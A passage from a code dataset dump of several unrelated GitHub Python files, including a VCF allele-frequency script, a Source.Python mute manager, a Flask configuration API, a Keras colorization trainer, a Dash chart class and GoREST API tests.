individual per line', required=True, type=str)\nparser.add_argument('-p3', '--popout', help='Provide txt file with one individual per line', required=True, type=str)\nargs = parser.parse_args()\n\n#define input file\nvcf = args.ann\nscaf = args.ann.replace('.ann.vcf.gz','')\noutput = scaf+'.'+args.popin1\n\nout_annFreq = open(output+'.annFreq','w')\n\n#fields in the output\nout_annFreq.write('scaffold\\tposition\\tflagPol\\tflagQual\\tderived1\\ttotal1\\tderived2\\ttotal2\\tderived_out\\ttotal_out\\tavgCov\\tref\\talt\\tvartype\\teffect\\n')\n\n#get the header\nwith gzip.open(vcf, 'rb') as input_file:\n\twith io.TextIOWrapper(input_file, encoding='utf-8') as handle:\n\t\tfor line in handle:\n\t\t\tline = line.rstrip()\n\t\t\tif line.startswith('##'):\n\t\t\t\tcontinue\n\t\t\telif line.startswith('#CHROM'):\n\t\t\t\theader = line.rstrip().split('\\t')\n\t\t\telse:\n\t\t\t\tbreak\n\n#get index of ingroup and outgroup samples\nsamples1 = []\nfor line in open(args.popin1, 'r').readlines():\n if line != '\\n' :\n samples1.append(line.strip())\nindex_samples1 = []\nfor sample in samples1:\n\tindex_sample = header.index(sample)\n\tindex_samples1.append(index_sample)\n\nsamples2 = []\nfor line in open(args.popin2, 'r').readlines():\n if line != '\\n' :\n samples2.append(line.strip())\nindex_samples2 = []\nfor sample in samples2:\n\tindex_sample = header.index(sample)\n\tindex_samples2.append(index_sample)\n\nsamples_out = []\nfor line in open(args.popout, 'r').readlines():\n if line != '\\n' :\n samples_out.append(line.strip())\n\nindex_samples_out = []\nfor sample in samples_out:\n\tindex_sample = header.index(sample)\n\tindex_samples_out.append(index_sample)\n\n\noldqual = 0\n#go through the vcf\nwith gzip.open(vcf, 'rb') as input_file:\n\twith io.TextIOWrapper(input_file, encoding='utf-8') as handle:\n\t\tfor line in handle:\n\t\t\tif line.startswith('#') or line == '':\n\t\t\t\tcontinue\n\t\t\telse:\n\n\t\t\t\tline = line.rstrip()\n\t\t\t\tline = line.replace('|','/') # to correct for phased+unphased\n\t\t\t\tline = line.split('\\t')\n\t\t\t\tscaffold = line[0]\n\t\t\t\tpos = int(line[1])\n\t\t\t\tref = line[3]\n\t\t\t\talt = line[4]\n\t\t\t\tqual = line[5]\n\t\t\t\n\t\t\t\tif qual == oldqual:\n\t\t\t\t\tflagQ = 'haplo'\n\t\t\t\telse:\n\t\t\t\t\tflagQ = 'snp'\n\n\t\t\t\toldqual = qual\n\n\t\t\t\tpolarized = get_polarized_genotypes(line,index_samples1,index_samples2,index_samples_out)\n\t\t\t\tderived1 = polarized[0].count(1)\n\t\t\t\tderived2 = polarized[3].count(1)\n\t\t\t\tderived3 = polarized[4].count(1)\n\t\t\t\tanc_allele = polarized[1]\n\t\t\t\ttot_alleles = polarized[2]\n\t\t\t\tp1_total_allele = len([i for i in polarized[0] if i != 9])\n\t\t\t\tp2_total_allele = len([i for i in polarized[3] if i != 9])\n\t\t\t\tp3_total_allele = len([i for i in polarized[4] if i != 9])\n\t\t\t\tfl = polarized[5]\n\n\t\t\t\tif anc_allele == 1:\n\t\t\t\t\tnewref = alt\n\t\t\t\t\tnewalt = ref\n\n\t\t\t\telif anc_allele == 0:\n\t\t\t\t\tnewref = ref\n\t\t\t\t\tnewalt = alt\n\n\t\t\t\tif len(tot_alleles) < len(index_samples1+index_samples2+index_samples_out)/2:\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\tavgCov = round(int(line[7].split(';')[7].replace('DP=', '').split(',')[0])/len(tot_alleles), 1)\n\t\t\t\t\tsnpeff = line[7].split(';')[42].split('/')\n\t\t\t\t\tannotation = snpeff[1]\n\t\t\t\t\teffect = snpeff[2]\n\t\t\t\t\tif 'missense' in annotation:\n\t\t\t\t\t\tvartype = 'missense'\n\t\t\t\t\telif 'synonymous' in annotation:\n\t\t\t\t\t\tvartype = 'synonymous'\n\t\t\t\t\telif 'intergenic' in annotation:\n\t\t\t\t\t\tvartype = 'intergenic'\n\t\t\t\t\telif 'intron' in annotation:\n\t\t\t\t\t\tvartype = 'intron'\n\t\t\t\t\telse:\n\t\t\t\t\t\tvartype = 'else'\n\n\t\t\t\t\tout_annFreq.write(scaffold+'\\t'+str(pos)+'\\t'+fl+'\\t'+flagQ+'\\t'+str(derived1)+'\\t'+str(p1_total_allele)+'\\t'+str(derived2)+'\\t'+str(p2_total_allele)+'\\t'+str(derived3)+'\\t'+str(p3_total_allele)+'\\t'+str(avgCov)+'\\t'+newref+'\\t'+newalt+'\\t'+vartype+'\\t'+effect+'\\n')\n\nout_annFreq.close()\n\n\n","repo_name":"emitruc/ExpressionLoad","sub_path":"vcf2missenseFreq.2d.py","file_name":"vcf2missenseFreq.2d.py","file_ext":"py","file_size_in_byte":10517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"681016941","text":"# ../players/voice.py\n\n\"\"\"Provides functions specific to the player's voice.\"\"\"\n\n\n# =============================================================================\n# >> IMPORTS\n# =============================================================================\n# Python Imports\nfrom collections import defaultdict\n\n# Source.Python Imports\n# Engines\nfrom engines.server import global_vars\n# Listeners\nfrom listeners import on_client_disconnect_listener_manager\n# Memory\nfrom memory import get_virtual_function\nfrom memory.hooks import HookType\n\n\n# =============================================================================\n# >> FORWARD IMPORTS\n# =============================================================================\n# Source.Python Imports\n# Voice\nfrom _players._voice import voice_server\n\n\n# =============================================================================\n# >> ALL DECLARATION\n# =============================================================================\n__all__ = ('_MuteManager',\n 'mute_manager',\n 'voice_server',\n )\n\n\n# =============================================================================\n# >> CLASSES\n# =============================================================================\nclass _MuteManager(defaultdict):\n \"\"\"A singleton that manages muting players.\"\"\"\n _set_client_listening = None\n\n @classmethod\n def _hook_set_client_listening(cls):\n if cls._set_client_listening is not None:\n return\n\n function = get_virtual_function(voice_server, 'SetClientListening')\n function.add_hook(HookType.PRE, _pre_set_client_listening)\n\n cls._set_client_listening = function\n\n on_client_disconnect_listener_manager.register_listener(_on_client_disconnect)\n\n @staticmethod\n def _get_receivers(receivers):\n \"\"\"Return a tuple containing player indexes.\n\n If is None, a tuple is returned that contains all valid\n player indexes. Otherwise the given argument is returned after it has\n been validated.\n \"\"\"\n if receivers is None:\n return range(1, global_vars.max_clients + 1)\n\n # Check if \"receivers\" contains valid player indexes\n if not all(map(lambda index: (isinstance(\n index, int) and 0 < index <= global_vars.max_clients),\n receivers)):\n raise ValueError(\n '\"receivers\" doesn\\'t contain valid player indexes.')\n\n return receivers\n\n def mute_player(self, sender, receivers=None):\n \"\"\"Mute a player, so other players can't hear him talking.\n\n The muted player will still hear the other players.\n\n If is None, the sender will be muted for all players\n currently on the server and all future players.\n\n If you want to mute the sender only for specific players, pass a tuple\n that contains the player indexes that shouldn't hear the sender\n anymore.\n \"\"\"\n self._hook_set_client_listening()\n\n for receiver in self._get_receivers(receivers):\n self[receiver].add(sender)\n\n def unmute_player(self, sender, receivers=None):\n \"\"\"Unmute a player, so other players can hear him again.\n\n If is None, the sender will be unmuted for all players\n currently on the server and all future players.\n\n If you want to unmute the sender only for specific players, pass a\n tuple that contains the player indexes that should hear the sender\n again.\n \"\"\"\n for receiver in self._get_receivers(receivers):\n self[receiver].discard(sender)\n\n def is_muted(self, sender, receivers=None):\n \"\"\"Return True if a player is muted.\n\n If is None, it will be check if the players is muted for\n everyone.\n\n If you want to check if the player is muted only for specific players,\n pass a tuple that contains the player indexes that should be checked.\n \"\"\"\n return all(map(\n lambda receiver: sender in self[receiver],\n self._get_receivers(receivers)))\n\n# The singleton object of the :class:`_MuteManager` class\nmute_manager = _MuteManager(set)\n\n\n# =============================================================================\n# >> CALLBACKS\n# =============================================================================\ndef _pre_set_client_listening(args):\n \"\"\"Called before IVoiceServer::SetClientListening is called.\"\"\"\n receiver = args[1]\n sender = args[2]\n\n # Check if the sender is muted for this receiver\n if mute_manager.is_muted(sender, [receiver]):\n args[3] = False\n\n\ndef _on_client_disconnect(index):\n \"\"\"Called when a player left the server.\"\"\"\n # Unmute the player, so the next player who gets this index won't be muted\n mute_manager.unmute_player(index)\n","repo_name":"Source-Python-Dev-Team/Source.Python","sub_path":"addons/source-python/packages/source-python/players/voice.py","file_name":"voice.py","file_ext":"py","file_size_in_byte":4889,"program_lang":"python","lang":"en","doc_type":"code","stars":160,"dataset":"github-code","pt":"22"} +{"seq_id":"7964294248","text":"# -*- coding:utf-8 -*-\n# api 视图类\nfrom flask import Blueprint, render_template, jsonify , current_app as app\nfrom flask_restful import Api, Resource, reqparse\n\n# 导入工具类\nfrom App.utils import removeNoneKey, strToJson, jsonToStr, paginateParams\nfrom pubCode.pubUtils.msgBuilder import MsgBuilder\nfrom pubCode.pubEnums.flaskResEnum import ResCode\n#\nfrom App.api.models import db, CommonCnf, EnvCnf, SrvCnf\nfrom App.api.serializer import CommonCnfSchema, EnvCnfSchema, SrvCnfSchema, TeamProjectSchema\n\nblueprint = Blueprint(\n 'api', __name__,\n url_prefix='/configCenter/api',\n static_folder='../../Static',\n static_url_path='/static')\n\napi = Api(blueprint)\n\n@blueprint.route('/hello')\ndef hello():\n return jsonify({\n 'code': '000000',\n 'succeed': True,\n 'message': 'Hello World!!!'\n })\n\nclass ResfulHelloViews(Resource):\n\n def get(self, name):\n return jsonify({\n 'code': '000000',\n 'succeed': True,\n 'message': f'Hello {name}!!!'\n })\n\ncommonCnfParams = reqparse.RequestParser()\ncommonCnfParams.add_argument(\"key\", required=True, type=str,location=[\"json\"])\ncommonCnfParams.add_argument(\"value\", type=str, required=True,location=[\"json\"])\ncommonCnfParams.add_argument(\"desc\", type=str,location=[\"json\"])\ncommonCnfParams.add_argument(\"active\", default=True, type=bool, location=[\"json\"])\n\nclass CommonCnfViews(Resource):\n \"\"\"\n 通用配置类单一视图\n \"\"\"\n def get(self, configKey):\n \"\"\"\n 获取通用配置\n :param configKey: 通用配置的key\n :return:\n \"\"\"\n app.logger.info(f\"CommonCnfViews get(configKey={configKey})\")\n msg = MsgBuilder()\n config = CommonCnf.query.filter_by(key=configKey).first()\n commonCnfSchema = CommonCnfSchema()\n configSerialized = commonCnfSchema.dump(config)\n msg.setSucceed(respData=configSerialized)\n return jsonify(msg.getMsg())\n\n def post(self):\n app.logger.info(f\"CommonCnfViews post({commonCnfParams.parse_args()})\")\n msg=MsgBuilder()\n args = removeNoneKey(commonCnfParams.parse_args())\n if CommonCnf.query.filter_by(key=args.get(\"key\")).first():\n msg.setFailed(ResCode.UNIQUE_ERROR, msg=f'key={args.get(\"key\")}已存在！')\n else:\n commonCnfSchema = CommonCnfSchema()\n # 因为 value字段可能是可能是单纯字符串,也可能是符合json格式的 此处不用schema.load而做特殊处理\n args[\"value\"] =strToJson(args.get(\"value\"))\n CommonCnf.create(**jsonToStr(args))\n res = CommonCnf.query.filter_by(key=args.get(\"key\")).first()\n msg.setSucceed(respData=commonCnfSchema.dump(res))\n return jsonify(msg.getMsg())\n\n def put(self):\n app.logger.info(f\"CommonCnfViews put({commonCnfParams.parse_args()})\")\n msg = MsgBuilder()\n args = removeNoneKey(commonCnfParams.parse_args())\n key = args.get(\"key\")\n cnf = CommonCnf.query.filter_by(key=key).first()\n if cnf:\n # 因为 value字段可能是可能是单纯字符串,也可能是符合json格式的 此处不用schema.load而做特殊处理\n args[\"value\"] = strToJson(args.get(\"value\"))\n cnf.update(**jsonToStr(args))\n res = CommonCnf.query.filter_by(key=args.get(\"key\")).first()\n commonCnfSchema = CommonCnfSchema()\n msg.setSucceed(respData=commonCnfSchema.dump(res))\n else:\n msg.setFailed(ResCode.NOT_FOUND, msg=f'key={args.get(\"key\")}不存在！')\n return jsonify(msg.getMsg())\n\n def delete(self,configKey):\n app.logger.info(f\"CommonCnfViews delete(configKey={configKey})\")\n msg = MsgBuilder()\n cnf = CommonCnf.query.filter_by(key=configKey).first()\n if cnf:\n cnf.update(active=0)\n res = CommonCnf.query.filter_by(key=configKey).first()\n commonCnfSchema = CommonCnfSchema()\n msg.setSucceed(respData=commonCnfSchema.dump(res))\n else:\n msg.setFailed(ResCode.NOT_FOUND, msg=f'key={configKey}不存在！')\n return jsonify(msg.getMsg())\n\n\nclass CommonCnfsViews(Resource):\n \"\"\"\n 通用配置类列表视图\n \"\"\"\n def get(self):\n \"\"\"\n 获取通用配置\n :param\n :return: list\n \"\"\"\n msg = MsgBuilder()\n config = CommonCnf.query.filter_by(active=1)\n commonCnfSchema = CommonCnfSchema(many=True)\n configSerialized = commonCnfSchema.dump(config)\n msg.setSucceed(respData=configSerialized)\n return jsonify(msg.getMsg())\n\ncommonCnfSelect = reqparse.RequestParser()\ncommonCnfSelect.add_argument(\"key\", type=str, location=[\"args\"])\ncommonCnfSelect.add_argument(\"value\", type=str, location=[\"args\"])\ncommonCnfSelect.add_argument(\"desc\", type=str, location=[\"args\"])\ncommonCnfSelect.add_argument(\"page\", type=int, default=1, location=[\"args\"])\ncommonCnfSelect.add_argument(\"limit\", type=int, default=12, location=[\"args\"])\n\nclass CommonCnfSearchViews(Resource):\n \"\"\"\n 通用配置类查询列表视图\n \"\"\"\n def get(self):\n app.logger.info(f\"CommonCnfSelectViews get(commonCnfSelect={commonCnfSelect.parse_args()}\")\n msg = MsgBuilder()\n args = commonCnfSelect.parse_args()\n pageNum , limitNum = paginateParams(args)\n searchParams = []\n if args.get(\"key\"):\n searchParams.append(CommonCnf.key.ilike(f'%{args.get(\"key\")}%'))\n if args.get(\"value\"):\n searchParams.append(CommonCnf.value.ilike(f'%{args.get(\"value\")}%'))\n if args.get(\"desc\"):\n searchParams.append(CommonCnf.desc.ilike(f'%{args.get(\"desc\")}%'))\n total = CommonCnf.query.filter(db.and_(*searchParams)).count()\n commonCnfs = CommonCnf.query.filter(db.and_(*searchParams)).limit(limitNum).offset(pageNum)\n commonCnfSchema = CommonCnfSchema(many=True)\n msg.setSucceed(respData=commonCnfSchema.dump(commonCnfs))\n msg.addMsgField({\"total\":total})\n return jsonify(msg.getMsg())\n\n\n\n\nenvCnfParams = reqparse.RequestParser()\nenvCnfParams.add_argument(\"env\", required=True, type=str,location=[\"json\"])\nenvCnfParams.add_argument(\"key\", required=True, type=str,location=[\"json\"])\nenvCnfParams.add_argument(\"value\", type=str, required=True,location=[\"json\"])\nenvCnfParams.add_argument(\"desc\", type=str,location=[\"json\"])\nenvCnfParams.add_argument(\"active\", default=True, type=bool, location=[\"json\"])\n\nclass EnvCnfViews(Resource):\n \"\"\"\n 环境配置类单一视图\n \"\"\"\n def get(self, env,configKey):\n \"\"\"\n 获取环境配置\n :param env:环境 configKey: 通用配置的key\n :return:\n \"\"\"\n app.logger.info(f\"EnvCnfViews get(env={env} configKey={configKey})\")\n msg = MsgBuilder()\n config = EnvCnf.query.filter_by(env=env, key=configKey, active=1).first()\n envCnfSchema = EnvCnfSchema()\n configSerialized = envCnfSchema.dump(config)\n msg.setSucceed(respData=configSerialized)\n return jsonify(msg.getMsg())\n\n def post(self):\n app.logger.info(f\"EnvCnfViews post({envCnfParams.parse_args()})\")\n msg=MsgBuilder()\n args = removeNoneKey(envCnfParams.parse_args())\n if EnvCnf.query.filter_by(env=args.get(\"env\"), key=args.get(\"key\")).first():\n msg.setFailed(ResCode.UNIQUE_ERROR, msg=f'env={args.get(\"env\")} key={args.get(\"key\")}已存在！')\n else:\n envCnfSchema = EnvCnfSchema()\n # 因为 value字段可能是可能是单纯字符串,也可能是符合json格式的 此处不用schema.load而做特殊处理\n args[\"value\"] =strToJson(args.get(\"value\"))\n EnvCnf.create(**jsonToStr(args))\n res = EnvCnf.query.filter_by(env=args.get(\"env\"), key=args.get(\"key\")).first()\n msg.setSucceed(respData=envCnfSchema.dump(res))\n return jsonify(msg.getMsg())\n\n def put(self):\n app.logger.info(f\"envCnfViews put({envCnfParams.parse_args()})\")\n msg = MsgBuilder()\n args = removeNoneKey(envCnfParams.parse_args())\n key = args.get(\"key\")\n env = args.get(\"env\")\n cnf = EnvCnf.query.filter_by(env=env,key=key).first()\n if cnf:\n # 因为 value字段可能是可能是单纯字符串,也可能是符合json格式的 此处不用schema.load而做特殊处理\n args[\"value\"] = strToJson(args.get(\"value\"))\n cnf.update(**jsonToStr(args))\n res = EnvCnf.query.filter_by(env=args.get(\"env\"),key=args.get(\"key\")).first()\n envCnfSchema = EnvCnfSchema()\n msg.setSucceed(respData=envCnfSchema.dump(res))\n else:\n msg.setFailed(ResCode.NOT_FOUND, msg=f'env={args.get(\"env\")} key={args.get(\"key\")}不存在！')\n return jsonify(msg.getMsg())\n\n def delete(self, env, configKey):\n app.logger.info(f\"envCnfViews delete(env={env} configKey={configKey})\")\n msg = MsgBuilder()\n cnf = EnvCnf.query.filter_by(env=env, key=configKey).first()\n if cnf:\n cnf.update(active=0)\n res = EnvCnf.query.filter_by(env=env, key=configKey).first()\n envCnfSchema = EnvCnfSchema()\n msg.setSucceed(respData=envCnfSchema.dump(res))\n else:\n msg.setFailed(ResCode.NOT_FOUND, msg=f'key={configKey}不存在！')\n return jsonify(msg.getMsg())\n\n\nclass EnvCnfsViews(Resource):\n \"\"\"\n 环境配置类列表视图\n \"\"\"\n def get(self):\n \"\"\"\n 获取环境配置\n :param\n :return: list\n \"\"\"\n msg = MsgBuilder()\n config = EnvCnf.query.filter_by(active=1)\n envCnfSchema = EnvCnfSchema(many=True)\n configSerialized = envCnfSchema.dump(config)\n msg.setSucceed(respData=configSerialized)\n return jsonify(msg.getMsg())\n\nenvCnfSelect = reqparse.RequestParser()\nenvCnfSelect.add_argument(\"env\", type=str, location=[\"args\"])\nenvCnfSelect.add_argument(\"key\", type=str, location=[\"args\"])\nenvCnfSelect.add_argument(\"value\", type=str, location=[\"args\"])\nenvCnfSelect.add_argument(\"desc\", type=str, location=[\"args\"])\nenvCnfSelect.add_argument(\"page\", type=int, default=1, location=[\"args\"])\nenvCnfSelect.add_argument(\"limit\", type=int, default=12, location=[\"args\"])\n\nclass EnvCnfSearchViews(Resource):\n \"\"\"\n 通用环境类查询列表视图\n \"\"\"\n def get(self):\n app.logger.info(f\"EnvCnfSearchViews get(envCnfSearch={envCnfSelect.parse_args()}\")\n msg = MsgBuilder()\n args = envCnfSelect.parse_args()\n pageNum , limitNum = paginateParams(args)\n searchParams = []\n if args.get(\"env\"):\n searchParams.append(EnvCnf.key.ilike(f'%{args.get(\"env\")}%'))\n if args.get(\"key\"):\n searchParams.append(EnvCnf.key.ilike(f'%{args.get(\"key\")}%'))\n if args.get(\"value\"):\n searchParams.append(EnvCnf.value.ilike(f'%{args.get(\"value\")}%'))\n if args.get(\"desc\"):\n searchParams.append(EnvCnf.desc.ilike(f'%{args.get(\"desc\")}%'))\n total = EnvCnf.query.filter(db.and_(*searchParams)).count()\n envCnfs = EnvCnf.query.filter(db.and_(*searchParams)).limit(limitNum).offset(pageNum)\n envCnfSchema = EnvCnfSchema(many=True)\n msg.setSucceed(respData=envCnfSchema.dump(envCnfs))\n msg.addMsgField({\"total\":total})\n return jsonify(msg.getMsg())\n\n\n\nclass SrvCnfViews(Resource):\n \"\"\"\n 服务配置单一视图：\n 来源：发版平台\n 功能：通过env+project -> projectInfo(Example: project IP and so on)\n \"\"\"\n def get(self, env, project):\n \"\"\"\n 获取服务配置\n \"\"\"\n app.logger.info(f\"EnvCnfViews get(env={env} project={project})\")\n msg = MsgBuilder()\n config = SrvCnf.query.filter_by(env=env, project=project, active=1).first()\n app.logger.info(f\"EnvCnfViews get(config={config})\")\n srvCnfSchema = SrvCnfSchema()\n configSerialized = srvCnfSchema.dump(config)\n msg.setSucceed(respData=configSerialized)\n return jsonify(msg.getMsg())\n\n\n\nsrvCnfReqData = reqparse.RequestParser()\nsrvCnfReqData.add_argument(\"env\", type=str, location=[\"args\", \"json\"])\nsrvCnfReqData.add_argument(\"team\", type=str, location=[\"args\", \"json\"])\nsrvCnfReqData.add_argument(\"project\", type=str, location=[\"args\", \"json\"])\n\nclass SrvCnfsViews(Resource):\n \"\"\"\n 服务配置类列表视图\n \"\"\"\n\n def get(self):\n \"\"\"\n 获取服务配置列表\n :return:list\n \"\"\"\n app.logger.info(f\"SrvCnfsViews get({srvCnfReqData.parse_args()})\")\n msg = MsgBuilder()\n args = removeNoneKey(srvCnfReqData.parse_args())\n config = SrvCnf.query.filter_by(active=1, **args).all()\n srvCnfSchema = SrvCnfSchema(many=True)\n configSerialized = srvCnfSchema.dump(config)\n msg.setSucceed(respData=configSerialized)\n return jsonify(msg.getMsg())\n\n\nteamProjectParams = reqparse.RequestParser()\nteamProjectParams.add_argument(\"team\", type=str, required=True, location=[\"args\"])\nteamProjectParams.add_argument(\"env\", type=str, required=True, location=[\"args\"])\n\nclass TeamProjectViews(Resource):\n \"\"\"\n 项目组项目视图\n \"\"\"\n\n def get(self):\n app.logger.info(f\"TeamProjectViews get({teamProjectParams.parse_args()})\")\n msg = MsgBuilder()\n args = removeNoneKey(teamProjectParams.parse_args())\n teamInfo = SrvCnf.query.filter_by(active=1, **args).all()\n teamInfoSchema = TeamProjectSchema(many=True)\n teamInfoSerialized = teamInfoSchema.dump(teamInfo)\n msg.setSucceed(respData=[project.get(\"project\") for project in teamInfoSerialized])\n return jsonify(msg.getMsg())\n\n\nclass TeamSetViews(Resource):\n \"\"\"\n 项目组集视图\n \"\"\"\n\n def get(self):\n msg = MsgBuilder()\n allTeam = SrvCnf.query.all()\n teamList = list(set([team.team for team in allTeam]))\n msg.setSucceed(respData=teamList)\n return jsonify(msg.getMsg())","repo_name":"T8840/configCenter","sub_path":"App/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"28358445774","text":"import os\nimport sys\nimport glob\nimport time\nimport h5py\nimport numpy as np\nimport models_colorful as models\nfrom keras.utils import generic_utils\nfrom keras.optimizers import Adam\nimport sklearn.neighbors as nn\nimport keras.backend as K\n# Utils\nsys.path.append(\"../utils\")\nimport batch_utils\nimport general_utils\n\n\ndef categorical_crossentropy_color(y_true, y_pred):\n\n # Flatten\n n, h, w, q = y_true.shape\n y_true = K.reshape(y_true, (n * h * w, q))\n y_pred = K.reshape(y_pred, (n * h * w, q))\n\n weights = y_true[:, 313:] # extract weight from y_true\n weights = K.concatenate([weights] * 313, axis=1)\n y_true = y_true[:, :-1] # remove last column\n y_pred = y_pred[:, :-1] # remove last column\n\n # multiply y_true by weights\n y_true = y_true * weights\n\n cross_ent = K.categorical_crossentropy(y_pred, y_true)\n cross_ent = K.mean(cross_ent, axis=-1)\n\n return cross_ent\n\n\ndef train(**kwargs):\n \"\"\"\n Train model\n\n args: **kwargs (dict) keyword arguments that specify the model hyperparameters\n \"\"\"\n\n # Roll out the parameters\n batch_size = kwargs[\"batch_size\"]\n n_batch_per_epoch = kwargs[\"n_batch_per_epoch\"]\n nb_epoch = kwargs[\"nb_epoch\"]\n data_file = kwargs[\"data_file\"]\n nb_neighbors = kwargs[\"nb_neighbors\"]\n training_mode = kwargs[\"training_mode\"]\n epoch_size = n_batch_per_epoch * batch_size\n img_size = int(os.path.basename(data_file).split(\"_\")[1])\n\n # Setup directories to save model, architecture etc\n general_utils.setup_logging(\"colorful\")\n\n # Create a batch generator for the color data\n DataGen = batch_utils.DataGenerator(data_file,\n batch_size=batch_size,\n dset=\"training\")\n c, h, w = DataGen.get_config()[\"data_shape\"][1:]\n\n # Load the array of quantized ab value\n q_ab = np.load(\"../../data/processed/pts_in_hull.npy\")\n nb_q = q_ab.shape[0]\n # Fit a NN to q_ab\n nn_finder = nn.NearestNeighbors(n_neighbors=nb_neighbors, algorithm='ball_tree').fit(q_ab)\n\n # Load the color prior factor that encourages rare colors\n prior_factor = np.load(\"../../data/processed/CelebA_%s_prior_factor.npy\" % img_size)\n\n # Load and rescale data\n if training_mode == \"in_memory\":\n with h5py.File(data_file, \"r\") as hf:\n X_train = hf[\"training_lab_data\"][:]\n\n # Remove possible previous figures to avoid confusion\n for f in glob.glob(\"../../figures/*.png\"):\n os.remove(f)\n\n try:\n\n # Create optimizers\n opt = Adam(lr=1E-4, beta_1=0.9, beta_2=0.999, epsilon=1e-08)\n\n # Load colorizer model\n color_model = models.load(nb_q, (1, h, w), batch_size)\n color_model.compile(loss=categorical_crossentropy_color, optimizer=opt)\n\n color_model.summary()\n from keras.utils import plot_model\n plot_model(color_model, to_file='../../figures/colorful.png', show_shapes=True, show_layer_names=True)\n\n # Actual training loop\n for epoch in range(nb_epoch):\n\n # Initialize progbar and batch counter\n progbar = generic_utils.Progbar(epoch_size)\n batch_counter = 1\n start = time.time()\n\n # Choose Batch Generation mode\n if training_mode == \"in_memory\":\n BatchGen = DataGen.gen_batch_in_memory(X_train, nn_finder, nb_q, prior_factor)\n else:\n BatchGen = DataGen.gen_batch(nn_finder, nb_q, prior_factor)\n\n for batch in BatchGen:\n\n X_batch_black, X_batch_color, Y_batch = batch\n\n train_loss = color_model.train_on_batch(X_batch_black / 100., Y_batch)\n\n batch_counter += 1\n progbar.add(batch_size, values=[(\"loss\", train_loss)])\n\n if batch_counter >= n_batch_per_epoch:\n break\n\n print(\"\")\n print('Epoch %s/%s, Time: %s' % (epoch + 1, nb_epoch, time.time() - start))\n\n # Plot some data with original, b and w and colorized versions side by side\n general_utils.plot_batch(color_model, q_ab, X_batch_black, X_batch_color,\n batch_size, h, w, nb_q, epoch)\n\n # Save weights every 5 epoch\n if epoch % 5 == 0:\n weights_path = os.path.join('../../models/%s/%s_weights_epoch%s.h5' %\n (\"colorful\", \"colorful\", epoch))\n color_model.save_weights(weights_path, overwrite=True)\n\n except KeyboardInterrupt:\n pass\n","repo_name":"tdeboissiere/DeepLearningImplementations","sub_path":"Colorful/src/model/train_colorful.py","file_name":"train_colorful.py","file_ext":"py","file_size_in_byte":4565,"program_lang":"python","lang":"en","doc_type":"code","stars":1807,"dataset":"github-code","pt":"22"} +{"seq_id":"74240887736","text":"\n\nimport pandas as pd\nimport numpy as np\nimport plotly.express as px\nfrom datetime import datetime\nfrom dash import Dash, html, dcc\nfrom dash.dependencies import Input, Output\nimport plotly.graph_objects as go\n\nclass PequenosMultiplos:\n\tdef __init__(self, dataset, field, label):\n\t\tself.dataset = dataset\n\t\tself.date = '2021-06'\n\t\tself.field = field\n\t\tself.label = label\n\n\t\tself.state_id = 'pequenos-multiplos-' + field\n\n\tdef get(self, app):\n\t\tcomponent = html.Div([\n\t\t\thtml.Div([\n\t\t\t\tdcc.Dropdown(\n\t\t\t\t\tid=self.state_id + '-columns',\n\t\t\t\t\toptions=[col for col in list(self.dataset.get_histogram_cols().columns) if col not in [\"REGIONAL\", \"SEXO\"]],\n\t\t\t\t\tvalue=self.dataset.get_histogram_cols().columns[1],\n\t\t\t\t)\n\t\t\t]),\n\t\t\tdcc.Graph(id=self.field + '1')\n\t\t])\n\n\t\t@app.callback(\n\t\t\tOutput(self.field + '1', 'figure'),\n\t\t\t[Input('date-selection', 'value'),\n\t\t\tInput(self.state_id + '-columns', 'value')]\n\t\t)\n\t\tdef update(date_index, column):\n\t\t\tself.date = self.dataset.get_date_by_index(date_index)\n\t\t\t\n\t\t\tpeopleCadUnico_hist = self.dataset.get_by_date(self.date)[['REGIONAL', column, 'SEXO']]\n\t\t\tpeopleCadUnico_hist = peopleCadUnico_hist.drop(peopleCadUnico_hist[peopleCadUnico_hist['REGIONAL'].isin(['ENDERECO NAO GEORREFERENCIADO', 'Endereco FORA Region'])].index)\n\n\n\t\t\tfig = px.histogram(peopleCadUnico_hist, facet_col=\"REGIONAL\", color=\"SEXO\", facet_col_wrap=3)\n\t\t\tfig.update_layout(\n\t\t\t\ttitle_text='Pequenos Múltiplos por Regional', # title of plot\n\t\t\t\txaxis_title_text='Idade', # xaxis label\n\t\t\t\tyaxis_title_text='Quantidade', # yaxis label\n\t\t\t)\n\n\t\t\t\n\t\t\treturn fig\n\n\n\t\treturn component\n","repo_name":"tuliooassis/cras-data-visualization","sub_path":"PequenosMultiplos.py","file_name":"PequenosMultiplos.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"22897210381","text":"import pytest\nimport requests\nimport pytest_check as check\nimport logging\nfrom typing import Optional\nimport json\nfrom utils import BASE_URL, GOREST_HEADERS, ANONYMOUS_HEADERS, get_random_existing_id, \\\n generate_random_string, generate_random_email, create_random_resource, \\\n find_element_in_json, Comment\n\n\nLOGGER = logging.getLogger(__name__)\nURL = BASE_URL + \"comments\"\n\n@pytest.fixture()\ndef create_comment():\n post_info = create_random_resource(\"comment\")\n comment_id = str(find_element_in_json(\"id\", post_info.text)) \n yield comment_id\n\n\n@pytest.fixture()\ndef create_delete_after_post():\n post_info = create_random_resource(\"comment\")\n comment_id = str(find_element_in_json(\"id\", post_info.text))\n yield comment_id\n delete_url = URL + \"/\" + comment_id\n requests.delete(delete_url, headers=GOREST_HEADERS)\n\n\nrandom_id = get_random_existing_id(\"post\")\nparameters_lists = [(random_id, \"Name Surname\", \"hello@hello.pl\", \"We won\"),\n (random_id, \"OnlyName\", \"hello@hello.pl\", \"Is it fair?\"),\n (random_id, \"Oh\", generate_random_email(), generate_random_string(10))\n ]\n\n\n@pytest.mark.tc30\n@pytest.mark.parametrize(\"expected_id, expected_name, expected_email, expected_body\", parameters_lists)\ndef test_add_new_comment(expected_id, expected_name, expected_email, expected_body):\n COMMENT_DICT = dict(Comment(post_id=expected_id, name=expected_name, email=expected_email, body=expected_body))\n\n payload = json.dumps(COMMENT_DICT)\n response = requests.post(URL, headers=GOREST_HEADERS, data=payload)\n\n assert response.status_code == 201 # created\n assert expected_id, expected_name in response.text\n assert expected_email, expected_body in response.text\n comment_id = str(find_element_in_json(\"id\", response.text))\n delete_url = URL 